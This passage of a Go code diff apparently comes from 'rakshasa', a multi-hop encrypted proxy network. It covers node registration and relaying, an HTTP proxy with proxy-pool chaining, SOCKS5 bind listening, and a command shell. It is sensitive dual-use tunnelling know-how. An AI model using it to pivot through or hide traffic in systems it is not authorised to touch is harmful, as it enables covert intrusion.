fmt.Println("fromto", msg.From, msg.To, common.CmdToName[msg.CmdOpteion])
}
if msg.To == common.NoneUUID.String() && c.node == nil {
c.inChan <- func() {
newNode := &node{
conn: c,
}
newNode.do(msg)
}
} else if msg.To == currentNode.uuid {
func() {
l := clientLock.RLock()
v, ok := nodeMap[msg.From]
l.RUnlock()
if ok && v.port > 0 {
c.inChan <- func() {
v.do(msg)
}
} else {
l := clientLock.Lock()
v, ok := nodeMap[msg.From]
if !ok {
newNode := &node{
uuid: msg.From,
conn: c,
waitMsg: []*common.Msg{msg},
}
result := make(chan interface{}, 1)
id := newNode.storeQuery(result)
nodeMap[msg.From] = newNode
l.Unlock()
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
go func() {
defer newNode.deleteQuery(id)
select {
case res := <-result:
if res == nil {
for _, m := range newNode.waitMsg {
c.inChan <- func() {
newNode.do(m)
}
}
}
case <-time.After(common.CMD_TIMEOUT):
newNode.Delete("超时")
}
}()
} else {
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
var res chan interface{}
if _v, ok := v.loadQuery(msg.CmdId); !ok {
return
} else {
res = _v
}
var nmsg nodeMsg
err = json.Unmarshal(msg.CmdData, &nmsg)
if err != nil {
res <- err
return
}
v.hostName = nmsg.HostName
v.uuid = nmsg.UUID
v.port = nmsg.Port
v.mainIp = nmsg.MainIp
v.goos = nmsg.Goos
if nmsg.Addr != "" {
v.addr = nmsg.Addr
}
res <- nil
} else {
v.waitMsg = append(v.waitMsg, msg)
}
l.Unlock()
}
}
}()
} else {
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
msg.Ttl++
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
go allNodesDo(func(_n *node) (bool, error) {
if _n.uuid != currentNode.uuid {
_n.WriteMsg(msg)
}
return true, nil
})
newNode := &node{
conn: c,
}
c.inChan <- func() {
newNode.do(msg)
}
} else {
c.WriteToUUID(msg)
}
time.AfterFunc(time.Hour, func() {
broadcastMap.Delete(key)
})
}
}
}
}
func (c *Conn) handle() {
c.OutChan = make(chan []byte, 64)
c.inChan = make(chan func())
c.close = make(chan string, 999)
go func() {
for {
select {
case f := <-c.inChan:
f()
//c.do(b)
case b := <-c.OutChan:
if c.closeTag == 0 {
c.tlsWrite(b)
//var err error
for i := 0; i < len(c.OutChan); i++ {
c.tlsWrite(<-c.OutChan)
}
}
case reason := <-c.close:
c.OutChan = upNodeWrite
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
c.node.ping(0)
c.node.nextPingTime = time.Now().Unix() + 5
}
func() { //返回false则退出handle
connMap.Delete(c.remoteAddr)
l := clientLock.Lock()
defer func() {
l.Unlock()
}()
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
if common.Debug {
fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason)
}
if c.nodeConn != nil {
c.nodeConn.Close()
}
if c.node != nil {
//移除上游连接
for i := len(upLevelNode) - 1; i >= 0; i-- {
n := upLevelNode[i]
if n.uuid == c.node.uuid {
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
}
}
}
}
return
}()
return
}
}
}()
}
func (c *Conn) reg() error {
if c.nodeConn != nil {
c.nodeConn.Close()
}
var err error
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
if err != nil {
return err
}
reg := common.RegMsg{
RegAddr: c.nodeaddr,
Addr: currentNode.addr,
UUID: currentNode.uuid,
MainIp: currentNode.mainIp,
Port: currentNode.port,
Goos: currentNode.goos,
}
reg.Hostname, _ = os.Hostname()
regb, _ := json.Marshal(reg)
msg := common.Msg{
From: currentNode.uuid,
To: common.NoneUUID.String(),
CmdOpteion: common.CMD_REG,
CmdData: regb,
}
if err = c.tlsWrite(msg.Marshal()); err != nil {
return err
}
go c.handlerNodeRead()
return nil
}
func (c *Conn) WriteToUUID(msg *common.Msg) {
l := clientLock.RLock()
defer l.RUnlock()
if n, ok := nodeMap[msg.To]; ok {
n.WriteMsg(msg)
}
}
func (c *Conn) Write(b []byte) {
c.OutChan <- b
}
func (c *Conn) tlsWrite(b []byte) error {
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
n, err := c.nodeConn.Write(b)
if common.Debug {
fmt.Println("tlsWrite发送", n)
}
if err != nil {
c.Close("Write " + err.Error())
upNodeWrite <- b
}
return err
}
+605
View File
@@ -0,0 +1,605 @@
package server
import (
"bytes"
"fmt"
"hash/crc32"
"log"
"net"
"net/url"
"os"
"rakshasa/common"
"rakshasa/httppool"
"runtime/debug"
"strconv"
"strings"
"sync"
"sync/atomic"
"github.com/luyu6056/ishell"
)
const CheckProxyUrl = "https://myip.fireflysoft.net/"
type httpProxyClient struct {
windowsSize int64
isclose int32
conn net.Conn
udpconn net.Conn
remote int32
server *node
id uint32
wait chan int
close string
udpMap sync.Map
listenId uint32
localAddr string
isConnect bool
method string
cfg *common.Addr
pool *httppool.HttpPool
remoteAddr string
remotePort string
}
func (s *httpProxyClient) Write(b []byte) {
switch b[0] {
case common.CMD_CONNECT_BYIDADDR_RESULT:
switch common.NetWork(b[1]) {
case common.RAW_TCP:
if b[2] != 1 {
go func() { s.Close("") }()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
case common.RAW_TCP_WITH_PROXY:
if b[2] != 1 {
//重新拉取一个池
s.connect()
} else if s.method == "CONNECT" {
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
}
default:
log.Println("未处理")
}
case common.CMD_CONN_MSG:
if common.Debug {
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
}
s.conn.Write(b[1:])
s.Addwindow(int64(-len(b[1:])))
default:
log.Println("未处理")
}
}
func (s *httpProxyClient) Close(msg string) {
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
<-s.wait
s.wait <- common.CONN_STATUS_CLOSE
s.server.connMap.Delete(s.id)
if msg == "" {
msg = "未知关闭"
}
s.close = msg
if msg == remoteClose {
s.remote = CONN_REMOTE_CLOSE
} else if s.remote == CONN_REMOTE_OPEN {
s.remote = CONN_REMOTE_CLOSE
s.Remoteclose()
}
if common.Debug {
fmt.Println("close 原因", msg)
}
s.conn.Close()
if s.udpconn != nil {
s.udpconn.Close()
}
s.udpMap.Range(func(k, _ interface{}) bool {
s.udpMap.Delete(k)
return true
})
}
}
func (s *httpProxyClient) Addwindow(window int64) {
windows_size := atomic.AddInt64(&s.windowsSize, window)
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
if windows_size < windows_update_size/2 { //扩大窗口
if size := windows_update_size - s.windowsSize; size > 0 {
atomic.AddInt64(&s.windowsSize, size)
go func() {
buf := make([]byte, 8)
buf[0] = byte(size & 255)
buf[1] = byte(size >> 8 & 255)
buf[2] = byte(size >> 16 & 255)
buf[3] = byte(size >> 24 & 255)
buf[4] = byte(size >> 32 & 255)
buf[5] = byte(size >> 40 & 255)
buf[6] = byte(size >> 48 & 255)
buf[7] = byte(size >> 56 & 255)
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
}()
}
}
}
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
var pool *httppool.HttpPool
var err error
if poolfile != "" {
pool, err = httppool.HttpPoolInit(poolfile)
if err != nil {
return err
}
}
var target *node
if len(dst) == 0 {
target = currentNode
} else {
target, err = GetNodeFromAddrs(dst)
if err != nil {
return err
}
}
l := &clientListen{
server: target,
localAddr: cfg.Addr(),
id: common.GetID(),
typ: "http",
}
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
if err != nil {
return err
}
currentNode.listenMap.Store(l.id, l)
return nil
}
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
l, err := net.Listen("tcp", cfg.Addr())
if err != nil {
return nil, err
}
fmt.Println("httpproxy start ", cfg.Addr())
go func() {
for {
conn, err := l.Accept()
if err != nil {
if err.(*net.OpError).Err == net.ErrClosed {
return
}
continue
}
s := &httpProxyClient{
cfg: cfg,
conn: conn,
server: n,
listenId: id,
pool: pool,
}
go handleHttpProxyLocal(s)
}
}()
return l, nil
}
func (s *httpProxyClient) OnOpened() (close bool) {
s.wait = make(chan int, 1)
s.remote = CONN_REMOTE_OPEN
s.windowsSize = 0
s.wait <- common.CONN_STATUS_OK
return
}
// 监听本地服务
func handleHttpProxyLocal(s *httpProxyClient) {
defer func() {
if err := recover(); err != nil {
fmt.Println(err)
debug.PrintStack()
}
}()
b := make([]byte, common.MAX_PLAINTEXT-8)
if s.OnOpened() {
s.Close("无法获得服务器连接")
}
var data []byte
var req = &http1request{}
for {
n, err := s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
data = append(data, b[:n]...)
//尝试读取一个http消息
l, _, err := parsereq(req, data)
if err != nil {
return
} else if l == 0 {
continue
}
//判断用户名密码
if s.cfg.GetHttpAuthorizationHeader() != "" {
var authorize bool
for _, herder := range req.header {
if herder == s.cfg.GetHttpAuthorizationHeader() {
authorize = true
break
}
}
if !authorize {
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
continue
}
}
data = data[l:]
switch req.method {
case "GET":
if u, err := url.Parse(req.uri); err == nil {
if i := strings.IndexByte(u.Host, ':'); i > -1 {
s.remoteAddr = u.Host[:i]
s.remotePort = u.Host[i+1:]
} else {
s.remoteAddr = u.Host
s.remotePort = "80"
}
s.connect()
buf := bufPool.Get().(*bytes.Buffer)
buf.Reset()
buf.WriteString("GET ")
buf.WriteString(req.uri)
buf.WriteString(" HTTP/1.1\r\n")
for _, header := range req.header {
buf.WriteString(header)
buf.WriteString("\r\n")
}
buf.WriteString("\r\n")
s.write2connect(buf.Bytes())
buf.Reset()
bufPool.Put(buf)
return
} else {
return
}
case "CONNECT":
s.method = "CONNECT"
if i := strings.IndexByte(req.uri, ':'); i > -1 {
s.remoteAddr = req.uri[:i]
s.remotePort = req.uri[i+1:]
s.connect()
} else {
return
}
for {
n, err = s.conn.Read(b)
if err != nil {
s.Close(err.Error())
return
}
s.write2connect(b[:n])
}
default:
if common.Debug {
fmt.Println("http_proxy 未处理method ", req.method)
}
}
}
}
func (s *httpProxyClient) write2connect(data []byte) {
var new_size int64
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
atomic.AddInt64(&s.windowsSize, new_size)
} else {
new_size = 0
}
outdata := make([]byte, 8)
outdata[0] = byte(new_size)
outdata[1] = byte(new_size >> 8)
outdata[2] = byte(new_size >> 16)
outdata[3] = byte(new_size >> 24)
outdata[4] = byte(new_size >> 32)
outdata[5] = byte(new_size >> 40)
outdata[6] = byte(new_size >> 48)
outdata[7] = byte(new_size >> 56)
if common.Debug {
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
}
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
}
func (s *httpProxyClient) connect() {
if !s.isConnect {
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
s.id = s.server.storeConn(s)
buf[0] = byte(common.RAW_TCP)
copy(buf[1:], s.remoteAddr)
buf[1+len(s.remoteAddr)] = ':'
copy(buf[2+len(s.remoteAddr):], s.remotePort)
//添加代理信息
if s.pool != nil {
proxy := s.pool.Next()
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
buf = append(buf, []byte(" "+proxy.String())...)
}
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
if value, ok := s.server.listenMap.Load(s.listenId); ok {
switch v := value.(type) {
case *serverListen:
v.connMap.Store(s.id, s)
case *clientListen:
v.connMap.Store(s.id, s)
}
}
s.isConnect = true
}
}
func (s *httpProxyClient) Remoteclose() {
s.close = "本地要求远程关闭"
buf := make([]byte, 4)
buf[0] = byte(s.id)
buf[1] = byte(s.id >> 8)
buf[2] = byte(s.id >> 16)
buf[3] = byte(s.id >> 24)
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
}
func init() {
httpShell := cliInit()
httpShell.SetPrompt("rakshasa\\httpproxy>")
httpShell.AddCmd(&ishell.Cmd{
Name: "list",
Help: "列出当前监听的ID和其他信息",
Func: func(c *ishell.Context) {
var list []*clientListen
currentNode.listenMap.Range(func(key, value interface{}) bool {
if v, ok := value.(*clientListen); ok {
list = append(list, v)
}
return true
})
orderClientListen(list)
fmt.Println("当前连接数量:", len(list))
for _, v := range list {
fmt.Println("ID", v.id, "本地端口", v.localAddr, "转发服务器uuid", v.server.uuid)
}
},
})
httpShell.AddCmd(&ishell.Cmd{
Name: "new-httpproxy",
Help: "新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件 如 new-httpproxy admin:[email protected]:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt",
Func: func(c *ishell.Context) {
if len(c.Args) < 1 {
c.Println("参数错误,例子 new-httpproxy admin:[email protected]:8080 127.0.0.1:1081,127.0.0.1:1082 out.txt")
return
}
cfg, err := common.ParseAddr(c.Args[0])
if err != nil {
c.Println(err)
return
}
nodes := []string{}
var filename string
if len(c.Args) == 2 {
if _, err := os.ReadFile(c.Args[1]); err == nil {
filename = c.Args[1]
} else {
nodes = strings.Split(c.Args[1], ",")
}
} else if len(c.Args) == 3 {
nodes = strings.Split(c.Args[1], ",")
filename = c.Args[2]
}
if err := StartHttpProxy(cfg, nodes, filename); err != nil {
c.Println("本地httpProxy启动失败", err)
} else {
c.Println("本地httpProxy启动成功")
}
},
})
httpShell.AddCmd(&ishell.Cmd{
Name: "close",
Help: "关闭一个socsk5连接,使用方法 close ID",
Func: func(c *ishell.Context) {
if len(c.Args) != 1 {
c.Println("参数错误,例子 close 1")
return
}
id, _ := strconv.Atoi(c.Args[0])
var l *clientListen
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
if v, ok := value.(*clientListen); ok && v.typ == "http" {
l = v
}
}
if l == nil {
c.Println("没有找到ID为", id, "的连接")
} else {
l.Close("命令行关闭")
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
currentNode.listenMap.Delete(uint32(id))
}
},
})
rootCli.AddCmd(&ishell.Cmd{
Name: "httpproxy",
Help: "进入httpProxy功能",
Func: func(c *ishell.Context) {
httpShell.Run()
},
})
}
type kv struct { //kv键值对
key string
value string
}
type http1request struct {
Status string
//解析相关
Proto, method string
path, query, uri string
keep_alive bool
header []string //记录整行
body []byte
//rawdata []byte
//输出buffer相关
//data io.ReadCloser //消息主体
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
//out1 *tls.MsgBuffer
//流水线控制
//next *http1request
//num int32
//alreadyOutHreader bool
}
func (req *http1request) addheader(line string, j int) {
if line[:j] == "Proxy-Connection" {
req.header = append(req.header, "Connection: "+line[j+2:])
req.keep_alive = line[j+2:] == "line[j+2:]"
} else {
req.header = append(req.header, line)
}
}
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
l := len(data)
defer func() {
if e := recover(); e != nil {
err = fmt.Errorf("%+v", e)
debug.PrintStack()
}
}()
// method, path, proto line
req.Proto = ""
var s = 0
var line string
var firstLine = true
req.body = req.body[:0]
req.header = req.header[:0]
for i, j := 0, 0; j < l; j += i + 2 {
i = bytes.IndexByte(data[j:], 13)
if i == -1 {
break //跳出循环,判断是否包体过大
}
line = string(data[j : j+i])
if i > 0 {
if firstLine {
var q = -1
i := strings.IndexByte(line, 32)
if i > -1 {
req.method = line[:i]
line = line[i+1:]
for i, v := range line {
if v == 63 && q == -1 {
q = i
} else if v == 32 {
if q != -1 {
req.path = line[s:q]
req.query = line[q+1 : i]
} else {
req.path = line[s:i]
}
req.uri = line[s:i]
i++
req.Proto = line[i:]
//判断http返回
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
/*code, err := strconv.Atoi(req.path)
if err == nil {
//req.Code = code
//req.CodeMsg = req.Proto
}*/
req.Status = line
req.Proto = req.method
req.method = ""
req.path = ""
}
break
}
}
}
switch req.Proto {
case "HTTP/1.0":
req.keep_alive = false
case "HTTP/1.1":
req.keep_alive = true
default:
return 0, nil, fmt.Errorf("malformed http1request")
}
firstLine = false
} else {
k := strings.IndexByte(line, 58)
if k > -1 && k < len(line) {
req.addheader(line, k)
}
}
} else {
j += i + 2
if l-j < clen {
return 0, nil, nil
}
req.body = append(req.body, data[j:j+clen]...)
//req.body = append(req.body, data[s:s+clen]...)
//req.rawdata = append(req.rawdata, data[:j+clen]...)
return j + clen, req.body, nil
}
}
return 0, nil, nil
}
+95
View File
@@ -0,0 +1,95 @@
package server
//封装一下易于调试的lock
import (
"fmt"
"rakshasa/common"
"runtime"
"strconv"
"sync"
"sync/atomic"
)
type lock struct {
l sync.RWMutex
}
type unlock struct {
key string
l *sync.RWMutex
}
func (l *lock) Lock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
if common.DebugLock {
_, file, line, _ := runtime.Caller(1)
key := file + "行" + strconv.Itoa(line)
u.key = key
var n *int32
if v, ok := common.DebugLockMap.Load(key); ok {
n = v.(*int32)
} else {
a := int32(0)
n = &a
common.DebugLockMap.Store(key, n)
}
atomic.AddInt32(n, 1)
}
l.l.Lock()
return u
}
func (l *lock) RLock(old ...*unlock) *unlock {
u := &unlock{l: &l.l}
if len(old) == 1 {
u = old[0]
}
if common.DebugLock {
_, file, line, _ := runtime.Caller(1)
key := file + "行" + strconv.Itoa(line)
u.key = key
var n *int32
if v, ok := common.DebugLockMap.Load(key); ok {
n = v.(*int32)
} else {
a := int32(0)
n = &a
common.DebugLockMap.Store(key, n)
}
atomic.AddInt32(n, 1)
}
l.l.RLock()
return u
}
func (l *unlock) Unlock() {
if common.DebugLock {
if v, ok := common.DebugLockMap.Load(l.key); ok {
atomic.AddInt32(v.(*int32), -1)
} else {
panic("")
}
}
l.l.Unlock()
}
func (l *unlock) RUnlock() {
if common.DebugLock {
if v, ok := common.DebugLockMap.Load(l.key); ok {
atomic.AddInt32(v.(*int32), -1)
} else {
panic("")
}
}
l.l.RUnlock()
}
func printLock() {
common.DebugLockMap.Range(func(key, value interface{}) bool {
fmt.Println(key, *value.(*int32))
return true
})
}
+1379
View File
@@ -0,0 +1,1379 @@
package server
import (
"bytes"
"crypto/tls"
"encoding/json"
"errors"
"fmt"
uuid2 "github.com/google/uuid"
"io"
"io/ioutil"
"math/rand"
"net"
"os"
"rakshasa/cert"
"rakshasa/common"
"runtime"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
"unsafe"
)
var (
currentNode = &node{uuid: uuid2.New().String()}
clientLock = &lock{}
nodeMap = make(map[string]*node)
upLevelNode []*node //上游节点
upNodeWrite = make(chan []byte, 999)
extNodeIp []string
connMap sync.Map
)
func InitCurrentNode() {
s := unsafe.Sizeof(uintptr(1))
bit := " x32"
if s == 8 {
bit = " x64"
}
rand.Seed(time.Now().Unix())
currentNode.hostName, _ = os.Hostname()
if ip, _ := common.ExternalIP(); ip != nil {
currentNode.addr = ip.String()
}
currentNode.goos = runtime.GOOS + bit
currentNode.mirrorNode = &node{
id: currentNode.id,
uuid: currentNode.uuid,
hostName: currentNode.hostName,
goos: currentNode.goos,
addr: currentNode.addr,
}
currentNode.mirrorNode.mirrorNode = currentNode
nodeMap[currentNode.uuid] = currentNode
//fmt.Println("当前节点UUID", currentNode.uuid)
go func() {
for b := range upNodeWrite {
for {
ok := func() bool {
l := clientLock.Lock()
defer l.Unlock()
if len(upLevelNode) == 0 {
return false
}
upLevelNode[0].conn.tlsWrite(b)
return true
}()
if ok {
break
}
time.Sleep(time.Second)
}
}
}()
nodeTickPing()
time.AfterFunc(time.Second*10, checkUpLevelNode)
}
func checkUpLevelNode() {
if len(currentConfig.DstNode) > 0 && len(upLevelNode) == 0 {
//尝试重新连接节点
for _, addr := range currentConfig.DstNode {
connectNew(addr)
}
if len(upLevelNode) == 0 {
//尝试连接其他节点
if !currentConfig.Limit {
for _, addr := range extNodeIp {
if common.Debug {
fmt.Println("连接extNodeIp", addr)
}
connectNew(addr)
if len(upLevelNode) > 0 {
return
}
}
func() {
l := clientLock.RLock()
defer l.RUnlock()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
func() {
l.RUnlock()
defer clientLock.RLock(l)
if len(n.mainIp) == 0 {
if common.Debug {
fmt.Println("连接n.addr", fmt.Sprintf("%s:%d", n.addr, n.port))
}
connectNew(fmt.Sprintf("%s:%d", n.addr, n.port))
}
}()
if len(upLevelNode) > 0 {
return
}
}
}
}()
}
}
}
time.AfterFunc(time.Second*5, checkUpLevelNode)
}
func nodeTickPing() {
l := clientLock.RLock()
defer l.RUnlock()
now := time.Now().Unix()
for _, n := range nodeMap {
if n.uuid != currentNode.uuid {
for _, ip := range n.mainIp {
if ip != "" {
addr1 := fmt.Sprintf("%s:%d", ip, n.port)
find := false
for _, addr2 := range extNodeIp {
if addr1 == addr2 {
find = true
break
}
}
if !find {
extNodeIp = append(extNodeIp, addr1)
}
}
}
if n.nextPingTime == 0 {
go n.ping(0)
n.nextPingTime = now + 10 + rand.Int63n(10)
} else if n.nextPingTime < now {
go n.ping(0)
n.nextPingTime = now + 30 + rand.Int63n(30)
}
}
}
time.AfterFunc(time.Second*1, nodeTickPing)
}
// 节点
type node struct {
id int
uuid string
hostName string
goos string
addr string
connMap sync.Map
udpConnMap sync.Map
listenMap sync.Map //client端会存入clientListen,server存入serverListen
shellMap sync.Map
queryMap sync.Map
conn *Conn
pingTime, pongTime int64
mainIp []string
port int
listen net.Listener
nextPingTime int64
waitMsg []*common.Msg //需要等待处理的消息
mirrorNode *node //currentNode会生成一个互为mirror的node,以实现client-server功能,比如httpProxy在单节点启动
}
type nodeMsg struct {
UUID string
HostName string
Addr string
MainIp []string
Port int
Goos string
}
func connectNew(addr string) (n *node, e error) {
config := cert.Tlsconfig.Clone()
conn, err := tls.Dial("tcp", addr, config)
if err != nil {
return nil, err
}
c := &Conn{nodeConn: conn, isClient: true, nodeaddr: addr, remoteAddr: conn.LocalAddr().String()}
connMap.Store(c.remoteAddr, conn)
c.regResult = make(chan error, 1)
c.regResultNode = make(chan *node, 1)
c.handle()
c.reg()
defer func() {
if c.node != nil {
l := clientLock.Lock()
find := false
for _, n := range upLevelNode {
if n.uuid == c.node.uuid {
find = true
}
}
if !find {
upLevelNode = append(upLevelNode, c.node)
}
l.Unlock()
resChan := make(chan interface{}, 1)
id := c.node.storeQuery(resChan)
c.node.Write(common.CMD_GET_NODE, id, []byte{0})
select {
case <-resChan:
c.node.deleteQuery(id)
c.node.broadcastNode()
case <-time.After(common.CMD_TIMEOUT):
c.node.deleteQuery(id)
c.node.Close("")
e = errors.New("time out")
}
}
}()
select {
case err = <-c.regResult:
return nil, err
case n = <-c.regResultNode:
return n, err
case <-time.After(time.Second * 10):
return nil, errors.New("time out")
}
}
func (n *node) Write(option uint8, id uint32, b []byte) {
msg := common.Msg{
From: currentNode.uuid,
To: n.uuid,
CmdOpteion: option,
CmdId: id,
CmdData: b,
}
if n.uuid == currentNode.uuid {
n.mirrorNode.do(&msg)
} else {
if n.conn != nil {
n.conn.OutChan <- msg.Marshal()
} else {
upNodeWrite <- msg.Marshal()
}
}
}
func (n *node) WriteMsg(msg *common.Msg) {
if n.conn != nil {
n.conn.OutChan <- msg.Marshal()
} else {
upNodeWrite <- msg.Marshal()
}
}
func (n *node) do(msg *common.Msg) {
if common.Debug {
fmt.Println("client收到", common.CmdToName[msg.CmdOpteion])
}
var err error
//fmt.Println(common.CmdToName[msg.CmdOpteion])
switch msg.CmdOpteion {
case common.CMD_CONNECT_BYIDADDR:
conn := &serverConnect{}
conn.node = n
conn.id = msg.CmdId
conn.write = make(chan *bytes.Buffer, 64)
conn.close = 0
conn.windowsSize = 0
conn.wait = make(chan int)
n.connMap.Store(conn.id, conn)
addr := string(msg.CmdData[1:])
switch common.NetWork(msg.CmdData[0]) {
case common.SOCKS5_CMD_CONNECT:
conn.address = addr
go conn.doConnectTcp(common.SOCKS5_CMD_CONNECT, addr)
case common.SOCKS5_CMD_UDP:
go conn.doHandleUdp()
case common.RAW_TCP:
go conn.doConnectTcp(common.RAW_TCP, addr)
case common.RAW_TCP_WITH_PROXY:
go conn.doConnectTcpWithHttpProxy(common.RAW_TCP_WITH_PROXY, addr)
case common.SOCKS5_CMD_BIND:
_l, err := net.Listen("tcp", addr)
if err != nil {
n.Write(common.CMD_LISTEN_RESULT, msg.CmdId, append([]byte{0}, err.Error()...))
return
}
l := &serverListen{listen: _l, node: n, isSocks5: true, id: common.GetID(), replayid: msg.CmdId}
n.connMap.Delete(conn.id)
l.socks5Replay = make([]byte, len(msg.CmdData))
copy(l.socks5Replay, msg.CmdData)
n.Write(common.CMD_CONNECT_BYIDADDR_RESULT, l.replayid, l.socks5Replay)
n.listenMap.Store(l.id, l)
go l.Lisen()
}
case common.CMD_CONNECT_BYIDADDR_RESULT:
if v, ok := n.connMap.Load(msg.CmdId); ok {
if conn, ok := v.(common.Conn); ok {
conn.Write(append([]byte{common.CMD_CONNECT_BYIDADDR_RESULT}, msg.CmdData...))
}
}
case common.CMD_CONN_MSG:
v, ok1 := n.connMap.Load(msg.CmdId)
conn, ok2 := v.(common.Conn)
if !ok1 || !ok2 {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
return
}
conn.Write(append([]byte{common.CMD_CONN_MSG}, msg.CmdData...))
case common.CMD_DELETE_CONNID:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
if conn, ok2 := v.(common.Conn); ok2 {
conn.Close("对方节点要求关闭")
} else {
n.connMap.Delete(msg.CmdId)
}
}
case common.CMD_WINDOWS_UPDATE:
v, ok := n.connMap.Load(msg.CmdId)
if ok {
conn := v.(*serverConnect)
windows_update_size := int64(msg.CmdData[0]) | int64(msg.CmdData[1])<<8 | int64(msg.CmdData[2])<<16 | int64(msg.CmdData[3])<<24 | int64(msg.CmdData[4])<<32 | int64(msg.CmdData[5])<<40 | int64(msg.CmdData[6])<<48 | int64(msg.CmdData[7])<<56
if windows_update_size > 0 {
old := atomic.AddInt64(&conn.windowsSize, windows_update_size) - windows_update_size
if old < 0 {
go func() {
select {
case conn.wait <- common.CONN_STATUS_OK:
case <-time.After(time.Second):
}
}()
}
}
} else {
n.Write(common.CMD_DELETE_CONNID, msg.CmdId, nil)
}
case common.CMD_REG:
func() {
l := clientLock.Lock()
defer l.Unlock()
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
regmsg.Err = err.Error()
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
uuid := regmsg.UUID
if uuid == currentNode.uuid {
regmsg.Err = "不能连接自己"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REG_RESULT, 0, b)
return
}
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
n.goos = regmsg.Goos
resultMsg := regmsg
resultMsg.Addr = currentNode.addr
resultMsg.UUID = currentNode.uuid
resultMsg.Hostname = currentNode.hostName
resultMsg.MainIp = currentNode.mainIp
resultMsg.Port = currentNode.port
resultMsg.Goos = currentNode.goos
b, _ := json.Marshal(resultMsg)
//返回成功结果
n.Write(common.CMD_REG_RESULT, 0, b)
//储存节点
n.uuid = uuid
if v, ok := nodeMap[uuid]; !ok || v.conn.closeTag > 0 {
n.conn.node = n
nodeMap[regmsg.UUID] = n
n.broadcastNode()
}
}()
case common.CMD_REG_RESULT:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if err != nil {
select {
case n.conn.regResult <- err:
default:
}
return
}
if regmsg.Err != "" {
select {
case n.conn.regResult <- errors.New(regmsg.Err):
default:
}
return
}
//fmt.Printf("connect to %s(%s) success\n", regmsg.UUID, regmsg.RegAddr)
l := clientLock.Lock()
n.uuid = regmsg.UUID
n.addr = regmsg.Addr
n.hostName = regmsg.Hostname
n.goos = regmsg.Goos
workconn := n.conn
n.mainIp = regmsg.MainIp
n.port = regmsg.Port
if v, ok := nodeMap[regmsg.UUID]; ok {
if v.conn.node != nil && v.conn.node.uuid == regmsg.UUID && v.conn.closeTag == 0 {
n.uuid = "" //清空uuid避免正常的node被删
n.conn.Close("重复注册") //当前的连接关掉
n.conn = v.conn
v.mainIp = regmsg.MainIp
v.port = regmsg.Port
n = v
} else {
n.conn.node = n
}
} else {
n.conn.node = n
}
nodeMap[n.uuid] = n
l.Unlock()
select {
case workconn.regResultNode <- n:
default:
}
//回复节点
n.writeGetNodeResult(msg.CmdId)
case common.CMD_REMOTE_REG:
var regmsg common.RegMsg
err = json.Unmarshal(msg.CmdData, &regmsg)
if currentConfig.Limit {
regmsg.Err = "node is in limit mode"
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
return
}
if err == nil {
var node *node
node, err = connectNew(regmsg.RegAddr)
if err == nil {
regmsg.UUID = node.uuid
regmsg.Hostname = node.hostName
regmsg.ViaUUID = currentNode.uuid
regmsg.MainIp = currentNode.mainIp
regmsg.Port = currentNode.port
regmsg.Goos = currentNode.goos
b, _ := json.Marshal(regmsg)
n.Write(common.CMD_REMOTE_REG_RESULT, msg.CmdId, b)
}
}
if err != nil {
regmsg.Err = err.Error()
b, _ := json.Marshal(regmsg)
